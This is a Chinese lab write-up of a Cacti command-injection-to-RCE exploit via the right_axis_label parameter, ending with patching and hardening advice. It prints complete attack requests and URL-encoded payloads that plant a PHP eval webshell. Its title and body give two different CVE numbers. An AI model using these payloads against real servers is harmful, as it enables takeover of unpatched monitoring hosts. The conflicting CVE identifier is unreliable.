欢迎光临
我们一直在努力

春秋云境CVE-2025-24367(保姆级教学)

摘要:本文详细介绍了 Cacti 网络监控系统的一个远程代码执行漏洞(CVE-2023-51448)的完整复现过程。文章从靶场环境搭建开始,逐步演示了如何通过身份验证、利用图形模板功能中的输入校验缺陷构造恶意请求,将 PHP 脚本写入 Web 根目录,最终实现远程代码执行并获取 WebShell 的完整攻击链。文中包含详细的步骤说明、Burp Suite 抓包修改技巧以及中国蚁剑连接方法,适合网络安全学习者和渗透测试人员参考。

1. 阅读靶场介绍

Cacti 是一款基于 PHP、MySQL、SNMP 和 RRDTool 的开源网络监控和系统图形化分析工具。该漏洞源于 Cacti 中的图形创建和图形模板功能中的输入校验存在缺陷,经过身份验证的攻击者可以通过构造特制的请求将任意 PHP 脚本写入 Web 根目录,最终远程执行任意代码。用户名:admin 密码:^YHN7ujm

这里我们能得到的有用信息就是用户名:admin 密码:^YHN7ujm

方法是:构造特制的请求将任意 PHP 脚本写入 Web 根目录,最终远程执行任意代码

漏洞原理分析

CVE-2023-51448 漏洞的根本成因在于 Cacti 图形模板功能(graph_templates.php)中的一个关键参数 right_axis_label 存在输入校验缺陷。下面用通俗易懂的方式解释漏洞原理:

1. 漏洞点定位

在 Cacti 的图形模板编辑功能中,当管理员或授权用户修改图形模板时,前端会向 graph_templates.php 提交一个 POST 请求。该请求包含多个参数,其中 right_axis_label 参数原本用于设置图形右侧坐标轴的标签文本。

问题在于,Cacti 在处理这个参数时,没有对用户输入进行充分的过滤和验证,直接将参数值拼接到了后续执行的 RRDTool 命令中。

2. 攻击载荷构造

攻击者发现,可以通过在 right_axis_label 参数中注入换行符(%0D%0A 或 %0a)来“欺骗”系统执行额外的命令。具体构造方式如下:

  • 第一步:注入换行符 – 在 right_axis_label 参数值开头或中间插入 %0D%0A(URL 编码的换行符),这样在服务器端解析时,参数值会被拆分成多行。
  • 第二步:拼接恶意 RRDTool 命令 – 攻击者在换行后拼接 RRDTool 的 graph 命令,并指定生成的文件名为 vulhub.php 或 100.php(即 Web 可访问的 PHP 文件)。
  • 第三步:写入 PHP 代码 – 在 graph 命令的 LINE1 标签部分,直接写入 <?=phpinfo();?> 或 <?=@eval($_POST[pass]);?> 这样的 PHP 代码片段。

最终形成的攻击载荷看起来像这样(已解码):

XXX
create my.rrd –step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph vulhub.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=phpinfo();?>

3. 漏洞触发流程

  • 身份验证:攻击者首先需要登录 Cacti 后台(通常使用默认或弱口令账号)。
  • 访问漏洞页面:进入图形模板编辑界面(如 PING – Advanced Ping)。
  • 拦截并修改请求:使用 Burp Suite 等工具拦截修改图形模板的 POST 请求,将恶意构造的载荷填入 right_axis_label 参数。
  • 命令拼接与执行:Cacti 后端收到请求后,未经验证直接将 right_axis_label 的值拼接到 RRDTool 命令中。由于换行符的存在,系统会将其解析为多条命令依次执行。
  • 文件写入:graph 命令会以指定的文件名(如 vulhub.php)在 Web 根目录下生成一个图片文件(实际是 PHP 脚本)。
  • 代码执行:由于生成的文件后缀是 .php 且内容包含 PHP 代码,攻击者直接访问该文件即可执行任意 PHP 代码,从而实现远程代码执行(RCE)。
  • 4. 漏洞本质

    该漏洞的本质是命令注入与不安全文件生成的结合:

    • 命令注入:通过换行符注入额外的 RRDTool 命令。
    • 缺乏输入校验:未对 right_axis_label 参数中的特殊字符(如换行符、PHP 标签)进行过滤。
    • 文件生成位置可控:允许攻击者指定生成文件的路径和名称,且文件内容部分可控。
    • 文件后缀与内容不匹配:生成的文件名为 .php 后缀,但内容却来自用户输入的图形标签数据,导致 PHP 代码被执行。

    因此,只要攻击者能够通过身份验证并访问图形模板编辑功能,就可以利用此缺陷在服务器上写入任意 PHP 文件,进而获得完整的 WebShell 控制权限。

    漏洞复现环节

    我们会得到一个如上图所示的页面

    接下来就是拼接路径 /cacti

    博主这里可以解析一下思路:一般用什么应用

    就可以尝试一下对应应用的名称再去路径爆破

    其次就是用御剑或者 dirsearch 去扫一下看看有没有后台登录的界面

    这里我们直接找到了后台登录界面

    我们输入靶场给我们的用户名:admin 密码:^YHN7ujm

    进入后台以后我们会得到如下的界面

    这里我们按照步骤找到这个 ping 以后双击 PING – Advanced Ping

    然后一直下滑找到博主箭头的位置,然后在博主箭头的地方随便输入内容 bp

    抓包

    抓完包,在博主红色箭头的位置后输入这个内容

    XXX%0D%0Acreate+my.rrd+–step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0D%0Agraph+vulhub.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A

    参考包如下所示

    POST /cacti/graph_templates.php?header=false HTTP/1.1
    Host: 39.106.48.123:18787
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 590
    Origin: http://39.106.48.123:18787
    Connection: keep-alive
    Referer: http://39.106.48.123:18787/cacti/graph_templates.php?action=template_edit&id=297
    Cookie: CactiDateTime=Wed Jul 22 2026 09:38:01 GMT+0800 (中国标准时间); CactiTimeZone=480; Cacti=668akamuplte7dq82qekaiecf8; wp-settings-time-1=1762500680; _ga_0C4M1PWYZ7=GS2.1.s1763466152$o1$g0$t1763466152$j60$l0$h0; _ga=GA1.1.515210291.1763466152; _ga_K2SPJK2C73=GS2.1.s1763466152$o1$g0$t1763466152$j60$l0$h0; _ga_T11SF3WXX2=GS2.1.s1763466152$o1$g0$t1763466152$j60$l0$h0; JSESSIONID=43623E8086A11EE6CCDE52BF3214F66D
    Priority: u=0

    __csrf_magic=sid%3Ae44148155842a00ecdbf1993f603f6d18ff85ab4%2C1784684323&name=PING+-+Advanced+Ping&graph_template_id=297&graph_template_graph_id=297&save_component_template=1&title=%7Chost_description%7C+-+Advanced+Ping&vertical_label=milliseconds&image_format_id=3&height=200&width=700&base_value=1000&slope_mode=on&auto_scale_opts=1&upper_limit=10&lower_limit=0&unit_value=&unit_exponent_value=1&unit_length=&right_axis=&right_axis_label=XXX%0D%0Acreate+my.rrd+–step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0D%0Agraph+vulhub.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A&right_axis_format=0&right_axis_formatter=0&left_axis_formatter=0&tab_width=30&legend_position=0&legend_direction=0&rrdtool_version=1.7.2&action=save

    然后放包

    接下来按照红色箭头的指引,在下拉的位置找到 PING – Advanced Ping,然后点击 create

    找到以后直接继续create

    接下来继续按照箭头指引就是去到这里

    这里出现一个仙人掌文字提示的是error:creating arguments就说明前面的操作都没有问题

    然后我们去访问这个url

    会出现phpinfo的页面

    测试没问题以后就是去看看能不能实现命令执行

    我们去回刚刚那个上传脚本的位置

    抓包改数据

    这里把红色箭头的数据改为如下所示

    XXX%0acreate+my.rrd+–step+300+DS%3atemp%3aGAUGE%3a600%3a-273%3a5000+RRA%3aAVERAGE%3a0.5%3a1%3a1200%0agraph+100.php+-s+now+-a+CSV+DEF%3aout%3dmy.rrd%3atemp%3aAVERAGE+LINE1%3aout%3a%3c%3f%3d%40eval%28%24_POST%5bpass%5d%29%3b%3f%3e%0a

    参考包如下所示

    POST /cacti/graph_templates.php?header=false HTTP/1.1
    Host: 39.106.48.123:18787
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 590
    Origin: http://39.106.48.123:18787
    Connection: keep-alive
    Referer: http://39.106.48.123:18787/cacti/graph_templates.php?action=template_edit&id=297
    Cookie: CactiDateTime=Wed Jul 22 2026 09:38:01 GMT+0800 (中国标准时间); CactiTimeZone=480; Cacti=668akamuplte7dq82qekaiecf8; wp-settings-time-1=1762500680; _ga_0C4M1PWYZ7=GS2.1.s1763466152$o1$g0$t1763466152$j60$l0$h0; _ga=GA1.1.515210291.1763466152; _ga_K2SPJK2C73=GS2.1.s1763466152$o1$g0$t1763466152$j60$l0$h0; _ga_T11SF3WXX2=GS2.1.s1763466152$o1$g0$t1763466152$j60$l0$h0; JSESSIONID=43623E8086A11EE6CCDE52BF3214F66D
    Priority: u=0

    __csrf_magic=sid%3Ae44148155842a00ecdbf1993f603f6d18ff85ab4%2C1784684323&name=PING+-+Advanced+Ping&graph_template_id=297&graph_template_graph_id=297&save_component_template=1&title=%7Chost_description%7C+-+Advanced+Ping&vertical_label=milliseconds&image_format_id=3&height=200&width=700&base_value=1000&slope_mode=on&auto_scale_opts=1&upper_limit=10&lower_limit=0&unit_value=&unit_exponent_value=1&unit_length=&right_axis=&right_axis_label=XXX%0acreate+my.rrd+–step+300+DS%3atemp%3aGAUGE%3a600%3a-273%3a5000+RRA%3aAVERAGE%3a0.5%3a1%3a1200%0agraph+100.php+-s+now+-a+CSV+DEF%3aout%3dmy.rrd%3atemp%3aAVERAGE+LINE1%3aout%3a%3c%3f%3d%40eval%28%24_POST%5bpass%5d%29%3b%3f%3e%0a&right_axis_format=0&right_axis_formatter=0&left_axis_formatter=0&tab_width=30&legend_position=0&legend_direction=0&rrdtool_version=1.7.2&action=save

    然后放包访问url,出现下述页面就是正确的

    接下来就是去到中国蚁剑

    输入密码pass(这里是由于上面的包写入的)

    测试成功后,添加

    到此我们就完成webshell了

    恭喜各位又完成一个靶场的攻克

    期待博主下一篇i春秋的文章欢迎留言哟

    感谢你们宝贵的时间

    防御与修复建议

    针对 Cacti 远程代码执行漏洞(CVE-2023-51448),系统管理员和开发者可以采取以下措施进行防御和修复:

    1. 官方补丁升级指南

    最根本的修复方式是升级到已修复该漏洞的 Cacti 版本。请按照以下步骤操作:

    • 检查当前版本:登录 Cacti 后台,在「系统」→「关于」中查看当前版本号。
    • 访问官方发布页:前往 Cacti 官方网站或 GitHub 仓库,查看最新稳定版发布信息。
    • 备份数据:升级前务必完整备份数据库和程序文件。
    • 执行升级:按照官方升级指南,下载补丁或完整新版,覆盖安装并运行数据库升级脚本。
    • 验证修复:升级后,重新测试漏洞利用点,确认无法再通过图形模板功能写入任意 PHP 文件。

    2. 临时的安全配置加固方法

    如果无法立即升级,可采取以下临时加固措施:

    • 加强输入验证:在图形模板相关功能(如 graph_templates.php)中,对用户提交的 right_axis_label 等参数进行严格过滤,禁止包含 <?php、<?、eval 等危险字符。
    • 限制目录权限:确保 Web 根目录(如 /var/www/html/cacti/)的写入权限仅限于必要文件,对 .php 文件设置严格的属主和权限(如 644)。
    • 启用 WAF:部署 Web 应用防火墙(WAF),配置规则拦截包含 graph、create、.php 等关键字的恶意请求。
    • 最小化用户权限:严格管理后台用户账号,仅授予必要权限,避免使用默认弱口令。

    3. 通用的安全开发建议

    为防止同类漏洞,开发者在编写类似功能时应遵循以下原则:

    • 始终验证用户输入:对所有用户可控参数进行白名单校验,特别是文件路径、命令参数等。
    • 避免直接拼接命令:如必须调用系统命令(如 RRDTool),应使用参数化调用,而非字符串拼接。
    • 设置文件上传限制:如果功能涉及文件生成,应限制文件后缀、内容类型,并避免在 Web 可访问目录生成可执行文件。
    • 定期安全审计:对代码中的文件操作、命令执行、数据库查询等高风险函数进行定期审查。
    • 保持依赖更新:及时更新 PHP、MySQL、RRDTool 等底层组件,修复已知安全漏洞。

    通过以上措施,可显著降低 Cacti 及其他类似 Web 应用遭受远程代码执行攻击的风险。

    赞(0)
    未经允许不得转载:171主机测评 » 春秋云境CVE-2025-24367(保姆级教学)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址